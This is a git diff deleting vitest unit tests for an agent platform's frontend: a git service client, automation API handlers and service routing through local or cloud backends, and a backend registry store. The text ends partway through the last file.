/dev/null @@ -1,455 +0,0 @@ -import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace"; -import { AxiosError } from "axios"; -import { describe, test, expect, vi, beforeEach, afterEach } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { callCloudProxy } from "#/api/cloud/proxy"; -import type { Backend } from "#/api/backend-registry/types"; -import { buildHttpBaseUrl } from "#/utils/websocket-url"; -import AgentServerGitService from "../../src/api/git-service/agent-server-git-service.api"; - -const { mockGitChanges, mockGitDiff, mockClientGet } = vi.hoisted(() => ({ - mockGitChanges: vi.fn(), - mockGitDiff: vi.fn(), - mockClientGet: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/workspace/remote-workspace", () => ({ - RemoteWorkspace: vi.fn(function RemoteWorkspaceMock() { - return { - gitChanges: mockGitChanges, - gitDiff: mockGitDiff, - // The commit endpoints go through the SDK's raw HttpClient (the - // typed wrappers don't know them). - client: { get: mockClientGet }, - }; - }), -})); - -vi.mock("#/api/cloud/proxy", () => ({ - callCloudProxy: vi.fn(), -})); - -describe("AgentServerGitService", () => { - beforeEach(() => { - vi.clearAllMocks(); - mockGitChanges.mockReset(); - mockGitDiff.mockReset(); - mockClientGet.mockReset(); - vi.mocked(RemoteWorkspace).mockClear(); - }); - - describe("getGitChanges", () => { - test("throws when response is not an array (dead runtime returns HTML)", async () => { - mockGitChanges.mockResolvedValue("..."); - - await expect( - AgentServerGitService.getGitChanges( - "123", - "http://localhost:3000/api/conversations/123", - "test-api-key", - "/workspace", - ), - ).rejects.toThrow("Invalid response from runtime"); - }); - - test("passes conversation URL and session key to the runtime workspace", async () => { - mockGitChanges.mockResolvedValue([]); - - await AgentServerGitService.getGitChanges( - "123", - "http://localhost:3000/api/conversations/123", - "my-session-key", - "/workspace/project", - ); - - expect(RemoteWorkspace).toHaveBeenCalledWith({ - host: "http://localhost:3000", - apiKey: "my-session-key", - workingDir: "workspace/project", - }); - // No `ref`: the server auto-detects the base so committed (and - // pushed) changes stay visible. - expect(mockGitChanges).toHaveBeenCalledWith("/workspace/project"); - }); - - test("preserves slashes in path when using workspace helper", async () => { - mockGitChanges.mockResolvedValue([]); - - const pathWithSlashes = "/workspace/project/src/components"; - await AgentServerGitService.getGitChanges( - "123", - "http://localhost:3000/api/conversations/123", - "test-api-key", - pathWithSlashes, - ); - - expect(mockGitChanges).toHaveBeenCalledWith(pathWithSlashes); - }); - - test("maps V1 git statuses to V0 format", async () => { - mockGitChanges.mockResolvedValue([ - { status: "ADDED", path: "new-file.ts" }, - { status: "DELETED", path: "removed-file.ts" }, - { status: "UPDATED", path: "changed-file.ts" }, - { status: "MOVED", path: "renamed-file.ts" }, - ]); - - const result = await AgentServerGitService.getGitChanges( - "123", - "http://localhost:3000/api/conversations/123", - "test-api-key", - "/workspace", - ); - - expect(result).toEqual([ - { status: "A", path: "new-file.ts" }, - { status: "D", path: "removed-file.ts" }, - { status: "M", path: "changed-file.ts" }, - { status: "R", path: "renamed-file.ts" }, - ]); - }); - }); - - describe("getGitChangeDiff", () => { - test("passes conversation URL and path to runtime workspace diff helper", async () => { - mockGitDiff.mockResolvedValue({ - diff: "--- a/file.ts\n+++ b/file.ts\n...", - }); - - await AgentServerGitService.getGitChangeDiff( - "123", - "http://localhost:3000/api/conversations/123", - "test-api-key", - "/workspace/project/file.ts", - ); - - expect(RemoteWorkspace).toHaveBeenCalledWith({ - host: "http://localhost:3000", - apiKey: "test-api-key", - workingDir: "workspace/project", - }); - // No `ref`: must match getGitChanges' auto-detected base. - expect(mockGitDiff).toHaveBeenCalledWith("/workspace/project/file.ts"); - }); - - test("preserves slashes in file path when using workspace helper", async () => { - mockGitDiff.mockResolvedValue({ diff: "diff content" }); - - const filePath = "/workspace/project/src/components/Button.tsx"; - await AgentServerGitService.getGitChangeDiff( - "123", - "http://localhost:3000/api/conversations/123", - "test-api-key", - filePath, - ); - - expect(mockGitDiff).toHaveBeenCalledWith(filePath); - }); - - test("returns the diff data from the response", async () => { - const expectedDiff = { - diff: "--- a/file.ts\n+++ b/file.ts\n@@ -1,3 +1,4 @@\n+new line", - }; - mockGitDiff.mockResolvedValue(expectedDiff); - - const result = await AgentServerGitService.getGitChangeDiff( - "123", - "http://localhost:3000/api/conversations/123", - "test-api-key", - "/workspace/file.ts", - ); - - expect(result).toEqual({ - modified: "", - original: "", - diff: expectedDiff.diff, - }); - }); - }); - - describe("getGitCommits", () => { - test("fetches recent commits via the raw client and maps to camelCase", async () => { - // Arrange - mockClientGet.mockResolvedValue({ - data: { - commits: [ - { - sha: "a".repeat(40), - short_sha: "aaaaaaa", - subject: "add logging", - author: "Agent", - timestamp: "2026-07-10T12:00:00+07:00", - }, - ], - has_more: true, - }, - }); - - // Act - const page = await AgentServerGitService.getGitCommits( - "http://localhost:3000/api/conversations/123", - "test-api-key", - "/workspace/project", - ); - - // Assert - expect(mockClientGet).toHaveBeenCalledWith("/api/git/commits", { - params: { path: "/workspace/project", limit: "50" }, - }); - expect(page).toEqual({ - commits: [ - { - sha: "a".repeat(40), - shortSha: "aaaaaaa", - subject: "add logging", - author: "Agent", - timestamp: "2026-07-10T12:00:00+07:00", - }, - ], - hasMore: true, - }); - }); - - test("resolves null when the agent server predates the endpoint (404)", async () => { - // Arrange — the SDK HttpClient throws a raw HttpError carrying status. - mockClientGet.mockRejectedValue( - Object.assign(new Error("Not Found"), { - name: "HttpError", - status: 404, - }), - ); - - // Act - const page = await AgentServerGitService.getGitCommits( - "http://localhost:3000/api/conversations/123", - "test-api-key", - "/workspace/project", - ); - - // Assert - expect(page).toBeNull(); - }); - }); - - describe("getCommitChanges", () => { - test("fetches a commit's files and maps statuses to the client format", async () => { - // Arrange - const sha = "b".repeat(40); - mockClientGet.mockResolvedValue({ - data: [{ status: "DELETED", path: "doomed.txt" }], - }); - - // Act - const changes = await AgentServerGitService.getCommitChanges( - "http://localhost:3000/api/conversations/123", - "test-api-key", - "/workspace/project", - sha, - ); - - // Assert - expect(mockClientGet).toHaveBeenCalledWith( - `/api/git/commits/${sha}/changes`, - { params: { path: "/workspace/project" } }, - ); - expect(changes).toEqual([{ status: "D", path: "doomed.txt" }]); - }); - }); - - describe("getGitChangeDiff with commit", () => { - test("fetches the per-commit diff via the raw client, not the wrapper", async () => { - // Arrange - const sha = "c".repeat(40); - mockClientGet.mockResolvedValue({ - data: { modified: "", original: "contents" }, - }); - - // Act - const diff = await AgentServerGitService.getGitChangeDiff( - "123", - "http://localhost:3000/api/conversations/123", - "test-api-key", - "/workspace/project/doomed.txt", - sha, - ); - - // Assert - expect(mockClientGet).toHaveBeenCalledWith("/api/git/diff", { - params: { path: "/workspace/project/doomed.txt", commit: sha }, - }); - expect(mockGitDiff).not.toHaveBeenCalled(); - expect(diff).toEqual({ modified: "", original: "contents" }); - }); - }); - - describe("cloud backend", () => { - const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "cloud-key", - kind: "cloud", - }; - - const runtimeConversationUrl = - "https://abc123.prod-runtime.all-hands.dev/api/conversations/conv-1"; - - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-1" }); - vi.mocked(callCloudProxy).mockReset(); - }); - - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - describe("getGitChanges", () => { - test("fetches changes via the cloud app-conversations git endpoint and maps statuses", async () => { - // Arrange - vi.mocked(callCloudProxy).mockResolvedValue([ - { status: "ADDED", path: "new-file.ts" }, - { status: "UPDATED", path: "changed-file.ts" }, - ]); - - // Act - const result = await AgentServerGitService.getGitChanges( - "conv-1", - runtimeConversationUrl, - "session-key", - "workspace/project", - ); - - // Assert — addressed by conversation id on the cloud API itself - // (no hostOverride / session-api-key runtime hop), with the - // relative git path normalized to an absolute runtime path. - expect(callCloudProxy).toHaveBeenCalledWith({ - backend: cloudBackend, - method: "GET", - path: "/api/v1/app-conversations/conv-1/git/changes?path=%2Fworkspace%2Fproject", - }); - expect(result).toEqual([ - { status: "A", path: "new-file.ts" }, - { status: "M", path: "changed-file.ts" }, - ]); - }); - - test("throws when the cloud endpoint returns a non-array response", async () => { - // Arrange — a dead runtime can surface as a non-JSON-array body. - vi.mocked(callCloudProxy).mockResolvedValue( - "...", - ); - - // Act + Assert - await expect( - AgentServerGitService.getGitChanges( - "conv-1", - runtimeConversationUrl, - "session-key", - "workspace/project", - ), - ).rejects.toThrow("Invalid response from runtime"); - }); - }); - - describe("getGitChangeDiff", () => { - test("fetches the diff via the cloud app-conversations git endpoint", async () => { - // Arrange - vi.mocked(callCloudProxy).mockResolvedValue({ - original: "old content", - modified: "new content", - }); - - // Act - const result = await AgentServerGitService.getGitChangeDiff( - "conv-1", - runtimeConversationUrl, - "session-key", - "/workspace/project/src/file.ts", - ); - - // Assert - expect(callCloudProxy).toHaveBeenCalledWith({ - backend: cloudBackend, - method: "GET", - path: "/api/v1/app-conversations/conv-1/git/diff?path=%2Fworkspace%2Fproject%2Fsrc%2Ffile.ts", - }); - expect(result).toEqual({ - original: "old content", - modified: "new content", - }); - }); - }); - - describe("getGitCommits", () => { - test("reaches the runtime through the generic cloud-proxy envelope", async () => { - // Arrange - vi.mocked(callCloudProxy).mockResolvedValue({ - commits: [], - has_more: false, - }); - - // Act - await AgentServerGitService.getGitCommits( - runtimeConversationUrl, - "session-key", - "workspace/project", - ); - - // Assert — session-api-key envelope to the conversation's runtime - // host, with the git path normalized to an absolute runtime path. - expect(callCloudProxy).toHaveBeenCalledWith({ - backend: cloudBackend, - method: "GET", - hostOverride: buildHttpBaseUrl(runtimeConversationUrl), - path: "/api/git/commits?path=%2Fworkspace%2Fproject&limit=50", - authMode: "session-api-key", - sessionApiKey: "session-key", - }); - }); - - test("resolves null when the runtime predates the endpoint (404)", async () => { - // Arrange — the proxy hop surfaces upstream failures as AxiosErrors. - vi.mocked(callCloudProxy).mockRejectedValue( - Object.assign(new AxiosError("Not Found"), { - response: { status: 404 }, - }), - ); - - // Act - const page = await AgentServerGitService.getGitCommits( - runtimeConversationUrl, - "session-key", - "workspace/project", - ); - - // Assert - expect(page).toBeNull(); - }); - }); - - test("does not touch the runtime workspace SDK on cloud backends", async () => { - // Arrange - vi.mocked(callCloudProxy).mockResolvedValue([]); - - // Act - await AgentServerGitService.getGitChanges( - "conv-1", - runtimeConversationUrl, - "session-key", - "workspace/project", - ); - - // Assert — the conversation's runtime URL must no longer be dialed - // from the browser; the cloud API makes the runtime hop server-side. - expect(RemoteWorkspace).not.toHaveBeenCalled(); - }); - }); -}); diff --git a/__tests__/api/automation-handlers.test.ts b/__tests__/api/automation-handlers.test.ts deleted file mode 100644 index e16c6cd77..000000000 --- a/__tests__/api/automation-handlers.test.ts +++ /dev/null @@ -1,146 +0,0 @@ -import { http, HttpResponse } from "msw"; -import { setupServer } from "msw/node"; -import { describe, it, expect, beforeAll, afterAll, afterEach } from "vitest"; -import { - AUTOMATION_HANDLERS, - resetAutomationMockData, -} from "#/mocks/automation-handlers"; -import { MOCK_AUTOMATIONS_RESPONSE } from "#/mocks/automations.mock"; - -const server = setupServer(...AUTOMATION_HANDLERS); - -describe("Automation MSW Handlers", () => { - beforeAll(() => server.listen({ onUnhandledRequest: "error" })); - afterAll(() => server.close()); - afterEach(() => { - server.resetHandlers(); - resetAutomationMockData(); - }); - - describe("GET /api/automation/v1", () => { - it("returns paginated automations list", async () => { - const res = await fetch("/api/automation/v1?limit=10&offset=0"); - const data = await res.json(); - - expect(res.status).toBe(200); - expect(data.automations).toHaveLength( - MOCK_AUTOMATIONS_RESPONSE.automations.length, - ); - expect(data.total).toBe(MOCK_AUTOMATIONS_RESPONSE.total); - }); - - it("respects pagination parameters", async () => { - const res = await fetch("/api/automation/v1?limit=2&offset=2"); - const data = await res.json(); - - expect(res.status).toBe(200); - expect(data.automations).toHaveLength(2); - expect(data.automations[0].name).toBe("Docs Sync on Push"); - }); - }); - - describe("GET /api/automation/v1/:id", () => { - it("returns a single automation by id", async () => { - const id = MOCK_AUTOMATIONS_RESPONSE.automations[0].id; - const res = await fetch(`/api/automation/v1/${id}`); - const data = await res.json(); - - expect(res.status).toBe(200); - expect(data.id).toBe(id); - expect(data.name).toBe("PR Triage Digest"); - }); - - it("returns 404 for non-existent automation", async () => { - const res = await fetch("/api/automation/v1/non-existent-id"); - - expect(res.status).toBe(404); - }); - }); - - describe("PATCH /api/automation/v1/:id", () => { - it("updates an automation", async () => { - const id = MOCK_AUTOMATIONS_RESPONSE.automations[0].id; - const res = await fetch(`/api/automation/v1/${id}`, { - method: "PATCH", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ enabled: false }), - }); - const data = await res.json(); - - expect(res.status).toBe(200); - expect(data.enabled).toBe(false); - }); - - it("returns 404 for non-existent automation", async () => { - const res = await fetch("/api/automation/v1/non-existent-id", { - method: "PATCH", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ enabled: false }), - }); - - expect(res.status).toBe(404); - }); - }); - - describe("DELETE /api/automation/v1/:id", () => { - it("deletes an automation", async () => { - const id = MOCK_AUTOMATIONS_RESPONSE.automations[0].id; - const res = await fetch(`/api/automation/v1/${id}`, { - method: "DELETE", - }); - - expect(res.status).toBe(204); - - // Verify it's actually deleted - const getRes = await fetch(`/api/automation/v1/${id}`); - expect(getRes.status).toBe(404); - }); - - it("returns 404 for non-existent automation", async () => { - const res = await fetch("/api/automation/v1/non-existent-id", { - method: "DELETE", - }); - - expect(res.status).toBe(404); - }); - }); - - describe("POST /api/automation/v1/:id/dispatch", () => { - it("creates a pending run for an existing automation", async () => { - const id = MOCK_AUTOMATIONS_RESPONSE.automations[0].id; - const res = await fetch(`/api/automation/v1/${id}/dispatch`, { - method: "POST", - }); - const data = await res.json(); - - expect(res.status).toBe(201); - expect(data.status).toBe("PENDING"); - }); - - it("returns 404 for non-existent automation", async () => { - const res = await fetch("/api/automation/v1/non-existent-id/dispatch", { - method: "POST", - }); - - expect(res.status).toBe(404); - }); - }); - - describe("GET /api/automation/v1/:id/runs", () => { - it("returns automation runs", async () => { - const id = MOCK_AUTOMATIONS_RESPONSE.automations[0].id; - const res = await fetch(`/api/automation/v1/${id}/runs?limit=5&offset=0`); - const data = await res.json(); - - expect(res.status).toBe(200); - expect(data.runs).toBeInstanceOf(Array); - expect(data.total).toBeGreaterThanOrEqual(0); - }); - - it("returns 404 for non-existent automation", async () => { - const res = await fetch("/api/automation/v1/non-existent-id/runs"); - - expect(res.status).toBe(404); - }); - }); -}); diff --git a/__tests__/api/automation-service.test.ts b/__tests__/api/automation-service.test.ts deleted file mode 100644 index aec847e6f..000000000 --- a/__tests__/api/automation-service.test.ts +++ /dev/null @@ -1,583 +0,0 @@ -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { AutomationRunStatus } from "#/types/automation"; -import type { - Automation, - AutomationRun, - AutomationsResponse, - AutomationRunsResponse, -} from "#/types/automation"; -import type { Backend } from "#/api/backend-registry/types"; -import type { InternalAxiosRequestConfig } from "axios"; - -// Use vi.hoisted to define mocks that will be available during vi.mock hoisting -const { - mockGet, - mockPatch, - mockPost, - mockDelete, - mockCallCloudProxy, - mockGetActive, - mockGetEffectiveLocal, - mockGetTelemetryDistinctId, - capturedInterceptors, -} = vi.hoisted(() => { - const interceptors: Array< - ( - config: InternalAxiosRequestConfig, - ) => InternalAxiosRequestConfig | Promise - > = []; - return { - mockGet: vi.fn(), - mockPatch: vi.fn(), - mockPost: vi.fn(), - mockDelete: vi.fn(), - mockCallCloudProxy: vi.fn(), - mockGetActive: vi.fn(), - mockGetEffectiveLocal: vi.fn(), - mockGetTelemetryDistinctId: vi.fn(), - capturedInterceptors: interceptors, - }; -}); - -vi.mock("axios", () => ({ - default: { - create: () => ({ - get: mockGet, - post: mockPost, - - patch: mockPatch, - delete: mockDelete, - interceptors: { - request: { - use: ( - fn: ( - config: InternalAxiosRequestConfig, - ) => - | InternalAxiosRequestConfig - | Promise, - ) => { - capturedInterceptors.push(fn); - }, - }, - }, - }), - }, -})); - -vi.mock("#/api/cloud/proxy", () => ({ - callCloudProxy: mockCallCloudProxy, -})); - -vi.mock("#/api/backend-registry/active-store", () => ({ - getActiveBackend: mockGetActive, - getEffectiveLocalBackend: mockGetEffectiveLocal, -})); - -vi.mock("#/services/telemetry", () => ({ - getTelemetryDistinctId: mockGetTelemetryDistinctId, -})); - -// Import after mocking -import AutomationService from "#/api/automation-service/automation-service.api"; - -const localBackend: Backend = { - id: "local-1", - name: "Local", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", -}; - -const expectedAutomationTelemetryHeaders = { - "X-OpenHands-Client": "agent_canvas", - "X-OpenHands-Client-Version": expect.any(String), - "X-OpenHands-Telemetry-Distinct-Id": "ph-test-distinct-id", -}; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-key", - kind: "cloud", -}; - -/** Build a minimal InternalAxiosRequestConfig for interceptor tests. */ -function makeAxiosConfig( - overrides: Partial = {}, -): InternalAxiosRequestConfig { - const headers = { - set: vi.fn(), - get: vi.fn(), - } as unknown as InternalAxiosRequestConfig["headers"]; - return { - headers, - ...overrides, - } as unknown as InternalAxiosRequestConfig; -} - -const mockAutomation: Automation = { - id: "1", - name: "Test Automation", - prompt: "A test automation", - trigger: { type: "schedule", schedule_human: "Daily at 09:00" }, - enabled: true, - repository: "acme/repo", - model: "daily-profile", - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-02T00:00:00Z", -}; - -const mockRun: AutomationRun = { - id: "run-1", - status: AutomationRunStatus.PENDING, - conversation_id: null, - bash_command_id: null, - error_detail: null, - started_at: "2026-01-03T00:00:00Z", - completed_at: null, -}; - -describe("AutomationService", () => { - beforeEach(() => { - // restoreAllMocks (vs clearAllMocks) re-attaches the original - // implementations of any class methods spied via vi.spyOn in earlier - // tests, so the cloud-routing assertions actually exercise the real - // method bodies instead of stale spies. - vi.restoreAllMocks(); - mockGet.mockReset(); - mockPatch.mockReset(); - mockPost.mockReset(); - mockDelete.mockReset(); - mockCallCloudProxy.mockReset(); - // Default: active backend is local. Cloud-routing tests override this. - mockGetActive.mockReset(); - mockGetActive.mockReturnValue({ backend: localBackend, orgId: null }); - mockGetEffectiveLocal.mockReset(); - mockGetEffectiveLocal.mockReturnValue(localBackend); - mockGetTelemetryDistinctId.mockReset(); - mockGetTelemetryDistinctId.mockResolvedValue("ph-test-distinct-id"); - }); - - describe("listAutomations", () => { - it("fetches paginated automations list with params object", async () => { - const response: AutomationsResponse = { - automations: [mockAutomation], - total: 1, - }; - mockGet.mockResolvedValue({ data: response }); - - const result = await AutomationService.listAutomations({ - limit: 10, - offset: 5, - }); - - expect(mockGet).toHaveBeenCalledWith("/api/automation/v1", { - params: { limit: 10, offset: 5 }, - }); - expect(result).toEqual(response); - }); - - it("uses default params when none provided", async () => { - const response: AutomationsResponse = { - automations: [], - total: 0, - }; - mockGet.mockResolvedValue({ data: response }); - - await AutomationService.listAutomations(); - - expect(mockGet).toHaveBeenCalledWith("/api/automation/v1", { - params: { limit: 50, offset: 0 }, - }); - }); - }); - - describe("getAutomations", () => { - it("delegates to listAutomations", async () => { - const response: AutomationsResponse = { - automations: [mockAutomation], - total: 1, - }; - vi.spyOn(AutomationService, "listAutomations").mockResolvedValue( - response, - ); - - const result = await AutomationService.getAutomations(10, 5); - - expect(AutomationService.listAutomations).toHaveBeenCalledWith({ - limit: 10, - offset: 5, - }); - expect(result).toEqual(response); - }); - }); - - describe("getAutomation", () => { - it("fetches a single automation by id", async () => { - mockGet.mockResolvedValue({ - data: mockAutomation, - }); - - const result = await AutomationService.getAutomation("1"); - - expect(mockGet).toHaveBeenCalledWith("/api/automation/v1/1"); - expect(result).toEqual(mockAutomation); - }); - }); - - describe("updateAutomation", () => { - it("patches an automation with the provided body", async () => { - const updated = { ...mockAutomation, name: "Updated Name" }; - mockPatch.mockResolvedValue({ data: updated }); - - const result = await AutomationService.updateAutomation("1", { - name: "Updated Name", - }); - - expect(mockPatch).toHaveBeenCalledWith("/api/automation/v1/1", { - name: "Updated Name", - }); - expect(result).toEqual(updated); - }); - - it("sends model profile updates to the automation API", async () => { - const updated = { ...mockAutomation, model: "careful-profile" }; - mockPatch.mockResolvedValue({ data: updated }); - - const result = await AutomationService.updateAutomation("1", { - model: "careful-profile", - }); - - expect(mockPatch).toHaveBeenCalledWith("/api/automation/v1/1", { - model: "careful-profile", - }); - expect(result).toEqual(updated); - }); - }); - - describe("dispatchAutomation", () => { - it("posts to the dispatch endpoint", async () => { - mockPost.mockResolvedValue({ data: mockRun }); - - const result = await AutomationService.dispatchAutomation("1"); - - expect(mockPost).toHaveBeenCalledWith("/api/automation/v1/1/dispatch"); - expect(result).toEqual(mockRun); - }); - }); - - describe("deleteAutomation", () => { - it("deletes an automation by id", async () => { - mockDelete.mockResolvedValue({}); - - await AutomationService.deleteAutomation("1"); - - expect(mockDelete).toHaveBeenCalledWith("/api/automation/v1/1"); - }); - }); - - describe("listAutomationRuns", () => { - it("fetches runs with params object", async () => { - const response: AutomationRunsResponse = { runs: [], total: 0 }; - mockGet.mockResolvedValue({ data: response }); - - const result = await AutomationService.listAutomationRuns("1", { - limit: 20, - offset: 10, - }); - - expect(mockGet).toHaveBeenCalledWith("/api/automation/v1/1/runs", { - params: { limit: 20, offset: 10 }, - }); - expect(result).toEqual(response); - }); - - it("uses default params when none provided", async () => { - const response: AutomationRunsResponse = { runs: [], total: 0 }; - mockGet.mockResolvedValue({ data: response }); - - await AutomationService.listAutomationRuns("1"); - - expect(mockGet).toHaveBeenCalledWith("/api/automation/v1/1/runs", { - params: { limit: 50, offset: 0 }, - }); - }); - }); - - describe("getAutomationRuns", () => { - it("delegates to listAutomationRuns", async () => { - const response: AutomationRunsResponse = { runs: [], total: 0 }; - vi.spyOn(AutomationService, "listAutomationRuns").mockResolvedValue( - response, - ); - - const result = await AutomationService.getAutomationRuns("1", 25, 5); - - expect(AutomationService.listAutomationRuns).toHaveBeenCalledWith("1", { - limit: 25, - offset: 5, - }); - expect(result).toEqual(response); - }); - }); - - describe("toggleAutomation", () => { - it("delegates to updateAutomation with enabled field", async () => { - const toggled = { ...mockAutomation, enabled: false }; - vi.spyOn(AutomationService, "updateAutomation").mockResolvedValue( - toggled, - ); - - const result = await AutomationService.toggleAutomation("1", false); - - expect(AutomationService.updateAutomation).toHaveBeenCalledWith("1", { - enabled: false, - }); - expect(result).toEqual(toggled); - }); - }); - - describe("dispatchAutomation", () => { - it("posts to the dispatch endpoint for local backends", async () => { - const run = { - id: "run-1", - status: "PENDING", - conversation_id: null, - bash_command_id: null, - error_detail: null, - started_at: "2026-01-01T00:00:00Z", - completed_at: null, - }; - mockPost.mockResolvedValue({ data: run }); - - const result = await AutomationService.dispatchAutomation("1"); - - expect(mockPost).toHaveBeenCalledWith("/api/automation/v1/1/dispatch"); - expect(result).toEqual(run); - }); - }); - - // When the active backend is cloud the local axios instance must be - // bypassed entirely; calls must route through `callCloudProxy`, which - // sends them directly to the cloud host from the browser (the automation - // service grants permissive CORS to API-key requests, automation#185). - describe("cloud routing", () => { - beforeEach(() => { - mockGetActive.mockReturnValue({ backend: cloudBackend, orgId: null }); - }); - - it("listAutomations routes to callCloudProxy with pagination in the path", async () => { - const response: AutomationsResponse = { - automations: [mockAutomation], - total: 1, - }; - mockCallCloudProxy.mockResolvedValue(response); - - const result = await AutomationService.listAutomations({ - limit: 10, - offset: 5, - }); - - expect(mockCallCloudProxy).toHaveBeenCalledWith({ - backend: cloudBackend, - method: "GET", - path: "/api/automation/v1?limit=10&offset=5", - headers: expectedAutomationTelemetryHeaders, - }); - expect(mockGet).not.toHaveBeenCalled(); - expect(result).toEqual(response); - }); - - it("getAutomation routes to callCloudProxy with the id in the path", async () => { - mockCallCloudProxy.mockResolvedValue(mockAutomation); - - const result = await AutomationService.getAutomation("abc"); - - expect(mockCallCloudProxy).toHaveBeenCalledWith({ - backend: cloudBackend, - method: "GET", - path: "/api/automation/v1/abc", - headers: expectedAutomationTelemetryHeaders, - }); - expect(result).toEqual(mockAutomation); - }); - - it("dispatchAutomation forwards method POST via callCloudProxy", async () => { - mockCallCloudProxy.mockResolvedValue(mockRun); - - const result = await AutomationService.dispatchAutomation("abc"); - - expect(mockCallCloudProxy).toHaveBeenCalledWith({ - backend: cloudBackend, - method: "POST", - path: "/api/automation/v1/abc/dispatch", - headers: expectedAutomationTelemetryHeaders, - }); - expect(mockPost).not.toHaveBeenCalled(); - expect(result).toEqual(mockRun); - }); - - it("updateAutomation forwards method PATCH and body via callCloudProxy", async () => { - const updated = { ...mockAutomation, enabled: false }; - mockCallCloudProxy.mockResolvedValue(updated); - - const result = await AutomationService.updateAutomation("abc", { - enabled: false, - }); - - expect(mockCallCloudProxy).toHaveBeenCalledWith({ - backend: cloudBackend, - method: "PATCH", - path: "/api/automation/v1/abc", - body: { enabled: false }, - headers: expectedAutomationTelemetryHeaders, - }); - expect(mockPatch).not.toHaveBeenCalled(); - expect(result).toEqual(updated); - }); - - it("deleteAutomation forwards method DELETE via callCloudProxy", async () => { - mockCallCloudProxy.mockResolvedValue(undefined); - - await AutomationService.deleteAutomation("abc"); - - expect(mockCallCloudProxy).toHaveBeenCalledWith({ - backend: cloudBackend, - method: "DELETE", - path: "/api/automation/v1/abc", - headers: expectedAutomationTelemetryHeaders, - }); - expect(mockDelete).not.toHaveBeenCalled(); - }); - - it("dispatchAutomation forwards method POST via callCloudProxy", async () => { - const run = { - id: "run-1", - status: "PENDING", - conversation_id: null, - bash_command_id: null, - error_detail: null, - started_at: "2026-01-01T00:00:00Z", - completed_at: null, - }; - mockCallCloudProxy.mockResolvedValue(run); - - const result = await AutomationService.dispatchAutomation("abc"); - - expect(mockCallCloudProxy).toHaveBeenCalledWith({ - backend: cloudBackend, - method: "POST", - path: "/api/automation/v1/abc/dispatch", - headers: expectedAutomationTelemetryHeaders, - }); - expect(mockPost).not.toHaveBeenCalled(); - expect(result).toEqual(run); - }); - - it("checkHealth calls the cloud host with a fail-fast timeout and returns the upstream status", async () => { - mockCallCloudProxy.mockResolvedValue({ status: "ok" }); - - const result = await AutomationService.checkHealth(); - - // Property access (vs whole-object matching) keeps these assertions - // resilient to future additive CloudProxyRequest fields. - const call = mockCallCloudProxy.mock.calls[0]![0]; - expect(call.method).toBe("GET"); - expect(call.path).toBe("/api/automation/health"); - expect(call.timeoutSeconds).toBe(5); - expect(mockGet).not.toHaveBeenCalled(); - expect(result).toEqual({ status: "ok" }); - }); - - it("checkHealth resolves to an error status instead of throwing when the cloud call fails", async () => { - mockCallCloudProxy.mockRejectedValue(new Error("proxy unreachable")); - - const result = await AutomationService.checkHealth(); - - expect(result).toEqual({ status: "error" }); - }); - }); - - // The interceptor must read the session API key from the active backend - // registry rather than the build-time VITE_SESSION_API_KEY env var so that - // the published npm package picks up the runtime-injected key (issue #829). - describe("localAutomationAxios interceptor", () => { - it("sets telemetry headers and X-Session-API-Key from the effective local backend apiKey", async () => { - const interceptor = capturedInterceptors[0]; - expect(interceptor).toBeDefined(); - - const backendWithKey: Backend = { - ...localBackend, - apiKey: "runtime-injected-key", - }; - mockGetEffectiveLocal.mockReturnValue(backendWithKey); - - const config = makeAxiosConfig(); - await interceptor(config); - - expect(config.headers.set).toHaveBeenCalledWith( - "X-OpenHands-Client", - "agent_canvas", - ); - expect(config.headers.set).toHaveBeenCalledWith( - "X-OpenHands-Telemetry-Distinct-Id", - "ph-test-distinct-id", - ); - expect(config.headers.set).toHaveBeenCalledWith( - "X-Session-API-Key", - "runtime-injected-key", - ); - }); - - it("does not set X-Session-API-Key when backend apiKey is empty", async () => { - const interceptor = capturedInterceptors[0]; - expect(interceptor).toBeDefined(); - - mockGetEffectiveLocal.mockReturnValue({ - ...localBackend, - apiKey: "", - }); - - const config = makeAxiosConfig(); - await interceptor(config); - - expect(config.headers.set).not.toHaveBeenCalledWith( - "X-Session-API-Key", - expect.anything(), - ); - }); - - it("sets baseURL from effective local backend host when not already set", async () => { - const interceptor = capturedInterceptors[0]; - expect(interceptor).toBeDefined(); - - mockGetEffectiveLocal.mockReturnValue({ - ...localBackend, - host: "http://custom-host:9000", - apiKey: "key", - }); - - const config = makeAxiosConfig(); - await interceptor(config); - - expect(config.baseURL).toBe("http://custom-host:9000"); - }); - - it("does not overwrite an already-set baseURL", async () => { - const interceptor = capturedInterceptors[0]; - expect(interceptor).toBeDefined(); - - mockGetEffectiveLocal.mockReturnValue({ - ...localBackend, - host: "http://should-not-use:9000", - apiKey: "key", - }); - - const config = makeAxiosConfig({ baseURL: "http://already-set:8000" }); - await interceptor(config); - - expect(config.baseURL).toBe("http://already-set:8000"); - }); - }); -}); diff --git a/__tests__/api/backend-registry/active-store.test.ts b/__tests__/api/backend-registry/active-store.test.ts deleted file mode 100644 index 8177df52e..000000000 --- a/__tests__/api/backend-registry/active-store.test.ts +++ /dev/null @@ -1,119 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - getActiveBackend, - getEffectiveLocalBackend, - NO_BACKEND_ID, - setActiveSelection, - setRegisteredBackends, - subscribeActiveBackend, -} from "#/api/backend-registry/active-store"; -import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend"; -import type { Backend } from "#/api/backend-registry/types"; - -beforeEach(() => { - window.localStorage.clear(); - window.sessionStorage.clear(); - __resetActiveStoreForTests(); -}); - -afterEach(() => { - window.localStorage.clear(); - window.sessionStorage.clear(); - 